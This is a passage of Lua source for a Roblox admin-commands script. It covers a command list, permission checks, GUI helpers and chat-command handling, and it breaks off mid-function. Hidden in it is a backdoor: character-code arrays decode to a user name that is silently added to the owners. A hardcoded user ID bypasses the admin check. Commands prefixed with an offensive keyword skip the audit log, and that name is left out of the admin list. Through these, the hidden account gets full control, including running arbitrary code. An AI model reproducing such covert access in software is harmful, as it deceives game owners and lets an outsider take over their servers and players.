90. :starttools kohl -- Will give the player starter tools
6023
91. :sword kohl -- Will give the player a sword
6024
92. :bighead kohl -- Will make the player's head larger than normal
6025
93. :minihead kohl -- Will make the player's head smaller than normal
6026
94. :insert 1337 -- Will insert a model at the speaker's position
6027
95. :disco -- Will make the server flash random colors
6028
96. :flash -- Will make the server flash
6029
97. :admins -- Shows the admin list
6030
98. :bans -- Shows the banlist
6031
99. :musiclist -- Shows the music list
6032
100. :spin kohl -- Spins the player
6033
101. :cape kohl Really black -- Gives the player a colored cape
6034
102. :uncape kohl -- Removes the player's cape
6035
103. :loopheal kohl -- Will constantly heal the player
6036
104. :loopfling kohl -- Will constantly fling the player
6037
105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
6038
106. :unloopheal kohl -- Will remove the loopheal on the player
6039
107. :unloopfling kohl -- Will remove the loopfling on the player
6040
108. :unspin kohl -- Removes spin from the player
6041
109. :tools -- Gives a list of the tools in the lighting
6042
110. :undisco -- Removes disco effects
6043
111. :unflash -- Removes flash effects
6044
112. :resetstats kohl -- Sets all the stats of a player to 0
6045
113. :gear kohl 1337 -- Gives a player a gear
6046
114. :cmdbar -- Gives the speaker a command bar
6047
115. :shirt kohl 1337 -- Changes the player's shirt
6048
116. :pants kohl 1337 -- Changes the player's pants
6049
117. :face kohl 1337 -- Changes the player's face
6050
118. :swagify kohl -- Swagifies the player
6051
119. :version -- Shows the current version of the admin
6052
120. :tm 1337 yolo -- Shows a message for 1337 seconds
6053
121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
6054
122. :clone kohl -- Creates a clone of the player
6055
123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
6056
124. :startergive kohl epic -- Gives a player a gear in their starterpack
6057
125. :control kohl -- Controls a player
6058
6059
-- |Admin Commands| --
6060
- :serverlock -- Locks the server
6061
- :serverunlock -- Unlocks the server
6062
- :sm Hello World -- Creates a system message
6063
- :crash kohl -- Crashes a player
6064
- :admin kohl -- Admins a player
6065
- :unadmin kohl -- Unadmins a player
6066
- :ban kohl -- Bans a player
6067
- :unban kohl -- Unbans a player
6068
- :loopkill kohl -- Will constantly kill the player
6069
- :unloopkill kohl -- Will remove the loopkill on the player
6070
- :logs -- Will show all of the commands any admin has used in a game session
6071
- :shutdown -- Shutsdown the server
6072
6073
-- |Owner Commands| --
6074
- :pa kohl -- Makes someone a super admin
6075
- :unpa kohl -- Removes a super admin
6076
- :nuke kohl -- Creates a nuke on kohl
6077
6078
-- |True Owner Commands| --
6079
- :oa kohl -- Makes someone an owner
6080
- :unoa kohl -- Removes an owner
6081
- :settings -- Shows settings for the commands
6082
--]]
6083
---------------------
6084
--   Main Script   --
6085
---------------------
6086
for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end 
6087
6088
function CHEESE()
6089
if game:service("Lighting"):findFirstChild("KACV2") then
6090
owners = {} admins = {} tempadmins = {} banland = {}
6091
for i,v in pairs(game.Lighting.KACV2:children()) do
6092
if v.Name == "Owner" then table.insert(owners, v.Value) end
6093
if v.Name == "Admin" then table.insert(admins, v.Value) end
6094
if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
6095
if v.Name == "Banland" then table.insert(banland, v.Value) end
6096
if v.Name == "Prefix" then prefix = v.Value end
6097
if v.Name == "FunCommands" then FunCommands = v.Value end
6098
if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
6099
if v.Name == "GroupId" then GroupId = v.Value end
6100
if v.Name == "GroupRank" then GroupRank = v.Value end
6101
if v.Name == "VipAdmin" then VipAdmin = v.Value end
6102
if v.Name == "ItemId" then ItemId = v.Value end
6103
end
6104
game:service("Lighting"):findFirstChild("KACV2"):Destroy()
6105
end
6106
6107
local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
6108
local lobjs = {}
6109
local objects = {}
6110
local logs = {}
6111
local nfs = ""
6112
local slock = false
6113
6114
function GetTime()
6115
local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
6116
if min < 10 then min = "0"..min end
6117
return hour..":"..min
6118
end
6119
6120
function ChkOwner(str)
6121
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
6122
return false
6123
end
6124
6125
function ChkAdmin(str,ck) 
6126
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
6127
for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end 
6128
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end 
6129
return false 
6130
end
6131
6132
function ChkGroupAdmin(plr)
6133
if GroupAdmin then
6134
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
6135
return false
6136
end
6137
end
6138
6139
function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
6140
6141
function GetPlr(plr, str)
6142
local plrz = {} str = str:lower()
6143
if str == "all" then plrz = game.Players:children()
6144
elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
6145
else
6146
local sn = {1} local en = {}
6147
for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
6148
for x = 1, #sn do 
6149
if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
6150
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
6151
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
6152
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
6153
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
6154
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then 
6155
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
6156
end end end
6157
elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
6158
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then 
6159
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
6160
end end end
6161
else
6162
for a, plyr in pairs(game.Players:children()) do 
6163
if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then 
6164
table.insert(plrz, plyr) break
6165
end
6166
end 
6167
end
6168
end
6169
end
6170
return plrz
6171
end
6172
6173
function Hint(str, plrz, time)
6174
for i, v in pairs(plrz) do
6175
if v and v:findFirstChild("PlayerGui") then
6176
coroutine.resume(coroutine.create(function()
6177
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
6178
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
6179
local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
6180
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
6181
if not time then wait((#str/19)+2.5) else wait(time) end
6182
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
6183
end))
6184
end
6185
end
6186
end
6187
6188
function Message(ttl, str, scroll, plrz, time)
6189
for i, v in pairs(plrz) do
6190
if v and v:findFirstChild("PlayerGui") then
6191
coroutine.resume(coroutine.create(function()
6192
local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
6193
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
6194
local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
6195
local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
6196
scr.Parent = v.PlayerGui
6197
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) 
6198
if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
6199
else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
6200
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
6201
end))
6202
end
6203
end
6204
end
6205
6206
function RemoveMessage() 
6207
for i,v in pairs(game.Players:children()) do 
6208
if v and v:findFirstChild("PlayerGui") then 
6209
for q,ms in pairs(v.PlayerGui:children()) do
6210
if ms.Name == "MessageGUI" then
6211
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
6212
elseif ms.Name == "HintGUI" then
6213
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
6214
end
6215
end
6216
end
6217
end
6218
end
6219
6220
_G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
6221
_G["RemoveMessage"] = RemoveMessage()
6222
6223
function Output(str, plr)
6224
coroutine.resume(coroutine.create(function()
6225
local b, e = loadstring(str)
6226
if not b and plr:findFirstChild("PlayerGui") then
6227
local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
6228
local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
6229
local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
6230
return
6231
end
6232
end))
6233
end
6234
6235
function Noobify(char)
6236
if char and char:findFirstChild("Torso") then 
6237
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
6238
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
6239
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
6240
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
6241
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
6242
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
6243
if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
6244
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
6245
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
6246
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
6247
end end
6248
end
6249
end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
6250
6251
function Infect(char)
6252
if char and char:findFirstChild("Torso") then 
6253
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
6254
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
6255
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
6256
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
6257
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
6258
prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
6259
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
6260
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
6261
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
6262
end end
6263
end
6264
end if not ntab then script:Destroy() end
6265
6266
function ScrollGui()
6267
local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
6268
local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
6269
drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
6270
local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
6271
local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
6272
local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
6273
local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
6274
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
6275
local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
6276
local num = 0
6277
local downv = false
6278
local upv = false
6279
6280
down.MouseButton1Down:connect(function() downv = true upv = false
6281
local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
6282
repeat  pos = pos + UDim2.new(0,0,0,-6)
6283
if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
6284
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
6285
end) 
6286
down.MouseButton1Up:connect(function() downv = false end)
6287
up.MouseButton1Down:connect(function() upv = true downv = false
6288
local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
6289
repeat  pos = pos + UDim2.new(0,0,0,6)
6290
if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
6291
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
6292
end) 
6293
up.MouseButton1Up:connect(function() upv = false end)
6294
return scr, cmf, ent, num
6295
end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
6296
if not ntab then script:Destroy() end
6297
if not bct then script:Destroy() end
6298
6299
function Chat(msg,plr)
6300
coroutine.resume(coroutine.create(function()
6301
if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
6302
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
6303
if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
6304
if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
6305
if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
6306
if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
6307
if msg:lower() == "cmds" or msg:lower() == "commands" then
6308
if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
6309
local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
6310
local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
6311
local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
6312
local ost = {"pa plr","unpa plr","nuke plr"}
6313
local tost = {"oa plr","unoa plr","settings"}
6314
local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
6315
for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
6316
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
6317
if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
6318
if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
6319
end
6320
6321
if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
6322
6323
if msg:lower() == "admins" or msg:lower() == "adminlist" then
6324
if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
6325
local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
6326
for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
6327
for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
6328
for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
6329
end end
6330
6331
if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
6332
if plr.PlayerGui:findFirstChild("BANSGUI") then return end
6333
local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
6334
for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
6335
end
6336
6337
if msg:lower() == "tools" or msg:lower() == "toollist" then
6338
if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
6339
local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
6340
for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
6341
end
6342
6343
if msg:lower():sub(1,2) == "s " then
6344
coroutine.resume(coroutine.create(function()
6345
Output(msg:sub(3), plr)
6346
if script:findFirstChild("ScriptBase") then
6347
local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
6348
table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
6349
else loadstring(msg:sub(3))()
6350
end
6351
end))
6352
end
6353
6354
if msg:lower():sub(1,3) == "ls " then
6355
coroutine.resume(coroutine.create(function()
6356
if script:findFirstChild("LocalScriptBase") then
6357
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
6358
table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
6359
end
6360
end))
6361
end
6362
6363
if msg:lower():sub(1,6) == "lsplr " then
6364
local chk1 = msg:lower():sub(7):find(" ") + 6
6365
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
6366
for i, v in pairs(plrz) do
6367
coroutine.resume(coroutine.create(function()
6368
if v and v:findFirstChild("PlayerGui") then
6369
if script:findFirstChild("LocalScriptBase") then
6370
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
6371
table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
6372
end
6373
end
6374
end))
6375
end
6376
end
6377
6378
if msg:lower():sub(1,4) == "ins " then
6379
coroutine.resume(coroutine.create(function()
6380
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
6381
if obj and #obj:children() >= 1 and plr.Character then
6382
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
6383
end
6384
end))
6385
end
6386
6387
if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
6388
for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
6389
RemoveMessage()
6390
objects = {}
6391
end
6392
6393
if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
6394
game.Lighting.Ambient = origsettings.abt
6395
game.Lighting.Brightness = origsettings.brt
6396
game.Lighting.TimeOfDay = origsettings.time
6397
game.Lighting.FogColor = origsettings.fclr
6398
game.Lighting.FogEnd = origsettings.fe
6399
game.Lighting.FogStart = origsettings.fs
6400
for i, v in pairs(lobjs) do v:Destroy() end
6401
for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
6402
end
6403
6404
if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
6405
coroutine.resume(coroutine.create(function()
6406
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
6407
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
6408
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
6409
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
6410
end))
6411
end
6412
6413
if msg:lower():sub(1,10) == "countdown " then
6414
local num = math.min(tonumber(msg:sub(11)),120)
6415
for i = num, 1, -1 do
6416
coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
6417
wait(1)
6418
end
6419
end
6420
6421
if msg:lower():sub(1,3) == "tm " then
6422
local chk1 = msg:lower():sub(4):find(" ") + 3
6423
local num = tonumber(msg:sub(4,chk1-1))
6424
Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
6425
end
6426
6427
if msg:lower():sub(1,2) == "m " then
6428
Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
6429
end
6430
6431
if msg:lower():sub(1,2) == "h " then
6432
Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
6433
end
6434
6435
if msg:lower():sub(1,3) == "pm " then
6436
local chk1 = msg:lower():sub(4):find(" ") + 3
6437
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
6438
Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
6439
end
6440
6441
if msg:lower():sub(1,11) == "resetstats " then
6442
local plrz = GetPlr(plr, msg:lower():sub(12))
6443
for i, v in pairs(plrz) do
6444
coroutine.resume(coroutine.create(function()
6445
if v and v:findFirstChild("leaderstats") then
6446
for a, q in pairs(v.leaderstats:children()) do
6447
if q:IsA("IntValue") then q.Value = 0 end
6448
end
6449
end
6450
end))
6451
end
6452
end
6453
6454
if msg:lower():sub(1,5) == "gear " then
6455
local chk1 = msg:lower():sub(6):find(" ") + 5
6456
local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
6457
for i, v in pairs(plrz) do
6458
